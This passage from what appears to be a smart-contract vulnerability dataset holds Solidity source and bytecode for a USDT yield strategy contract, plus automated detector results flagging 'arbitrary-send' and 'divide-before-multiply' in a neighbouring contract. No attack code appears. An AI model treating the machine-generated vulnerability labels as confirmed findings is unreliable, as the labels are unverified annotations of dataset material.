5b600060208201905081810360008301526118b98161187d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118fe81611446565b92915050565b60006020828403121561191a5761191961140f565b5b6000611928848285016118ef565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061199a82611472565b91506119a583611472565b9250826119b5576119b4611960565b5b828204905092915050565b6000819050919050565b60006119e56119e06119db846119c0565b611685565b611472565b9050919050565b6119f5816119ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a3081611434565b82525050565b6000611a428383611a27565b60208301905092915050565b6000602082019050919050565b6000611a66826119fb565b611a708185611a06565b9350611a7b83611a17565b8060005b83811015611aac578151611a938882611a36565b9750611a9e83611a4e565b925050600181019050611a7f565b5085935050505092915050565b6000608082019050611ace60008301876119ec565b8181036020830152611ae08186611a5b565b9050611aef604083018561159b565b611afc606083018461151e565b95945050505050565b6000611b1082611472565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b4257611b416117f1565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ba960268361135f565b9150611bb482611b4d565b604082019050919050565b60006020820190508181036000830152611bd881611b9c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c3b60248361135f565b9150611c4682611bdf565b604082019050919050565b60006020820190508181036000830152611c6a81611c2e565b9050919050565b6000611c7c82611472565b9150611c8783611472565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cbc57611cbb6117f1565b5b828201905092915050565b6000611cd282611472565b9150611cdd83611472565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d1657611d156117f1565b5b82820290509291505056fea2646970667358221220eab4842e03d19d1081ad6aedf8e594393bbf544c6d4aa9810f8eb2780cc4b3a964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,711
0x815d3Be572d0f8C6B7512A398b925Ac4Fa63B5f8
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function decimals() external view returns (uint); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function vaults(address) external view returns (address); } interface Vault { function deposit(uint) external; function withdraw(uint) external; function getPricePerFullShare() external view returns (uint); } interface Aave { function borrow(address _reserve, uint _amount, uint _interestRateModel, uint16 _referralCode) external; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external; function repay(address _reserve, uint _amount, address payable _onBehalfOf) external payable; function getUserAccountData(address _user) external view returns ( uint totalLiquidityETH, uint totalCollateralETH, uint totalBorrowsETH, uint totalFeesETH, uint availableBorrowsETH, uint currentLiquidationThreshold, uint ltv, uint healthFactor ); function getUserReserveData(address _reserve, address _user) external view returns ( uint currentATokenBalance, uint currentBorrowBalance, uint principalBorrowBalance, uint borrowRateMode, uint borrowRate, uint liquidityRate, uint originationFee, uint variableBorrowIndex, uint lastUpdateTimestamp, bool usageAsCollateralEnabled ); } interface LendingPoolAddressesProvider { function getLendingPool() external view returns (address); function getLendingPoolCore() external view returns (address); function getPriceOracle() external view returns (address); } /* A strategy must implement the following calls; - deposit() - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller - withdraw(uint) - Controller | Vault role - withdraw should always return to vault - withdrawAll() - Controller | Vault role - withdraw should always return to vault - balanceOf() Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller */ contract StrategyVaultUSDT { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public want = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); address constant public vault = address(0x2927071efbC6BdC21B87c27F2923689Cec562FD7); address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public governance; address public controller; constructor(address _controller) public { governance = msg.sender; controller = _controller; } function deposit() external { uint _balance = IERC20(want).balanceOf(address(this)); if (_balance > 0) { IERC20(want).safeApprove(address(vault), 0); IERC20(want).safeApprove(address(vault), _balance); Vault(vault).deposit(_balance); } } function getAave() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPool(); } function getName() external pure returns (string memory) { return "StrategyVaultUSDT"; } function debt() external view returns (uint) { (,uint currentBorrowBalance,,,,,,,,) = Aave(getAave()).getUserReserveData(want, Controller(controller).vaults(address(this))); return currentBorrowBalance; } function have() public view returns (uint) { uint _have = balanceOf(); return _have; } function skimmable() public view returns (uint) { (,uint currentBorrowBalance,,,,,,,,) = Aave(getAave()).getUserReserveData(want, Controller(controller).vaults(address(this))); uint _have = have(); if (_have > currentBorrowBalance) { return _have.sub(currentBorrowBalance); } else { return 0; } } function skim() external { uint _balance = IERC20(want).balanceOf(address(this)); uint _amount = skimmable(); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } IERC20(want).safeTransfer(controller, _amount); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(address(_asset) != address(want), "!want"); require(address(_asset) != address(vault), "!vault"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } address _vault = Controller(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { Vault(vault).withdraw(IERC20(vault).balanceOf(address(this))); } function _withdrawSome(uint256 _amount) internal returns (uint) { uint _redeem = IERC20(vault).balanceOf(address(this)).mul(_amount).div(balanceSavingsInToken()); uint _before = IERC20(want).balanceOf(address(this)); Vault(vault).withdraw(_redeem); uint _after = IERC20(want).balanceOf(address(this)); return _after.sub(_before); } function balanceOf() public view returns (uint) { return IERC20(want).balanceOf(address(this)) .add(balanceSavingsInToken()); } function balanceSavingsInToken() public view returns (uint256) { return IERC20(vault).balanceOf(address(this)).mul(Vault(vault).getPricePerFullShare()).div(1e18); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063722713f7116100ad578063ab033ea911610071578063ab033ea91461040f578063d0e30db014610453578063f77c47911461045d578063f7c1ec77146104a7578063fbfa77cf146104f157610121565b8063722713f714610327578063819faf7b14610345578063853828b61461038f57806392eefe9b146103ad5780639d9f9155146103f157610121565b80631dd19cb4116100f45780631dd19cb4146102035780631f1fcd511461020d5780632e1a7d4d1461025757806351cff8d9146102855780635aa6e675146102dd57610121565b80630dca59c114610126578063125009cc1461014457806317d7de7c14610162578063183dcad9146101e5575b600080fd5b61012e61053b565b6040518082815260200191505060405180910390f35b61014c61078c565b6040518082815260200191505060405180910390f35b61016a61091f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101aa57808201518184015260208101905061018f565b50505050905090810190601f1680156101d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ed61095c565b6040518082815260200191505060405180910390f35b61020b610be0565b005b610215610d5c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102836004803603602081101561026d57600080fd5b8101908080359060200190929190505050610d74565b005b6102c76004803603602081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611107565b6040518082815260200191505060405180910390f35b6102e5611444565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f611469565b6040518082815260200191505060405180910390f35b61034d611555565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61039761156d565b6040518082815260200191505060405180910390f35b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118cc565b005b6103f96119d2565b6040518082815260200191505060405180910390f35b6104516004803603602081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e6565b005b61045b611aeb565b005b610465611cee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af611d14565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f9611db0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080610546611d14565b73ffffffffffffffffffffffffffffffffffffffff166328dd2d0173dac17f958d2ee523a2206206994597c13d831ec7600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561061557600080fd5b505afa158015610629573d6000803e3d6000fd5b505050506040513d602081101561063f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506101406040518083038186803b1580156106e457600080fd5b505afa1580156106f8573d6000803e3d6000fd5b505050506040513d61014081101561070f57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505050505050509150508091505090565b600061091a670de0b6b3a764000061090c732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff166377c7b8fc6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f757600080fd5b505afa15801561080b573d6000803e3d6000fd5b505050506040513d602081101561082157600080fd5b8101908080519060200190929190505050732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d60208110156108ed57600080fd5b8101908080519060200190929190505050611dc890919063ffffffff16565b611e4e90919063ffffffff16565b905090565b60606040518060400160405280601181526020017f53747261746567795661756c7455534454000000000000000000000000000000815250905090565b600080610967611d14565b73ffffffffffffffffffffffffffffffffffffffff166328dd2d0173dac17f958d2ee523a2206206994597c13d831ec7600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a3657600080fd5b505afa158015610a4a573d6000803e3d6000fd5b505050506040513d6020811015610a6057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506101406040518083038186803b158015610b0557600080fd5b505afa158015610b19573d6000803e3d6000fd5b505050506040513d610140811015610b3057600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505050505050509150506000610bb06119d2565b905081811115610bd657610bcd8282611e9890919063ffffffff16565b92505050610bdd565b6000925050505b90565b600073dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c7357600080fd5b505afa158015610c87573d6000803e3d6000fd5b505050506040513d6020811015610c9d57600080fd5b810190808051906020019092919050505090506000610cba61095c565b905080821015610cf757610cdf610cda8383611e9890919063ffffffff16565b611ee2565b9050610cf4828261221a90919063ffffffff16565b90505b610d58600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168273dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166122a29092919063ffffffff16565b5050565b73dac17f958d2ee523a2206206994597c13d831ec781565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21636f6e74726f6c6c657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610eca57600080fd5b505afa158015610ede573d6000803e3d6000fd5b505050506040513d6020811015610ef457600080fd5b8101908080519060200190929190505050905081811015610f4257610f2a610f258284611e9890919063ffffffff16565b611ee2565b9150610f3f818361221a90919063ffffffff16565b91505b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fe357600080fd5b505afa158015610ff7573d6000803e3d6000fd5b505050506040513d602081101561100d57600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611102818473dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166122a29092919063ffffffff16565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21636f6e74726f6c6c657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b73dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f2177616e7400000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611338576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113b557600080fd5b505afa1580156113c9573d6000803e3d6000fd5b505050506040513d60208110156113df57600080fd5b8101908080519060200190929190505050905061143f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166122a29092919063ffffffff16565b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061155061147661078c565b73dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561150757600080fd5b505afa15801561151b573d6000803e3d6000fd5b505050506040513d602081101561153157600080fd5b810190808051906020019092919050505061221a90919063ffffffff16565b905090565b7324a42fd28c976a61df5d00d0599c34c4f90748c881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21636f6e74726f6c6c657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b61163a612373565b73dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116cb57600080fd5b505afa1580156116df573d6000803e3d6000fd5b505050506040513d60208110156116f557600080fd5b810190808051906020019092919050505090506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117a957600080fd5b505afa1580156117bd573d6000803e3d6000fd5b505050506040513d60208110156117d357600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611889576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6118c8818373dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166122a29092919063ffffffff16565b5090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461198e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806119dd611469565b90508091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aa8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b7e57600080fd5b505afa158015611b92573d6000803e3d6000fd5b505050506040513d6020811015611ba857600080fd5b810190808051906020019092919050505090506000811115611ceb57611c18732927071efbc6bdc21b87c27f2923689cec562fd7600073dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166124bf9092919063ffffffff16565b611c6b732927071efbc6bdc21b87c27f2923689cec562fd78273dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166124bf9092919063ffffffff16565b732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff1663b6b55f25826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611cd257600080fd5b505af1158015611ce6573d6000803e3d6000fd5b505050505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007324a42fd28c976a61df5d00d0599c34c4f90748c873ffffffffffffffffffffffffffffffffffffffff16630261bf8b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611d7057600080fd5b505afa158015611d84573d6000803e3d6000fd5b505050506040513d6020811015611d9a57600080fd5b8101908080519060200190929190505050905090565b732927071efbc6bdc21b87c27f2923689cec562fd781565b600080831415611ddb5760009050611e48565b6000828402905082848281611dec57fe5b0414611e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612afc6021913960400191505060405180910390fd5b809150505b92915050565b6000611e9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126df565b905092915050565b6000611eda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127a5565b905092915050565b600080611fdc611ef061078c565b611fce85732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611f8557600080fd5b505afa158015611f99573d6000803e3d6000fd5b505050506040513d6020811015611faf57600080fd5b8101908080519060200190929190505050611dc890919063ffffffff16565b611e4e90919063ffffffff16565b9050600073dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561207157600080fd5b505afa158015612085573d6000803e3d6000fd5b505050506040513d602081101561209b57600080fd5b81019080805190602001909291905050509050732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561211557600080fd5b505af1158015612129573d6000803e3d6000fd5b50505050600073dac17f958d2ee523a2206206994597c13d831ec773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156121c057600080fd5b505afa1580156121d4573d6000803e3d6000fd5b505050506040513d60208110156121ea57600080fd5b810190808051906020019092919050505090506122108282611e9890919063ffffffff16565b9350505050919050565b600080828401905083811015612298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61236e838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612865565b505050565b732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d732927071efbc6bdc21b87c27f2923689cec562fd773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561243457600080fd5b505afa158015612448573d6000803e3d6000fd5b505050506040513d602081101561245e57600080fd5b81019080805190602001909291905050506040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156124a557600080fd5b505af11580156124b9573d6000803e3d6000fd5b50505050565b60008114806125b9575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561257c57600080fd5b505afa158015612590573d6000803e3d6000fd5b505050506040513d60208110156125a657600080fd5b8101908080519060200190929190505050145b61260e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180612b476036913960400191505060405180910390fd5b6126da838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612865565b505050565b6000808311829061278b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612750578082015181840152602081019050612735565b50505050905090810190601f16801561277d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161279757fe5b049050809150509392505050565b6000838311158290612852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128175780820151818401526020810190506127fc565b50505050905090810190601f1680156128445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6128848273ffffffffffffffffffffffffffffffffffffffff16612ab0565b6128f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106129455780518252602082019150602081019050602083039250612922565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146129a7576040519150601f19603f3d011682016040523d82523d6000602084013e6129ac565b606091505b509150915081612a24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612aaa57808060200190516020811015612a4357600080fd5b8101908080519060200190929190505050612aa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612b1d602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015612af25750808214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f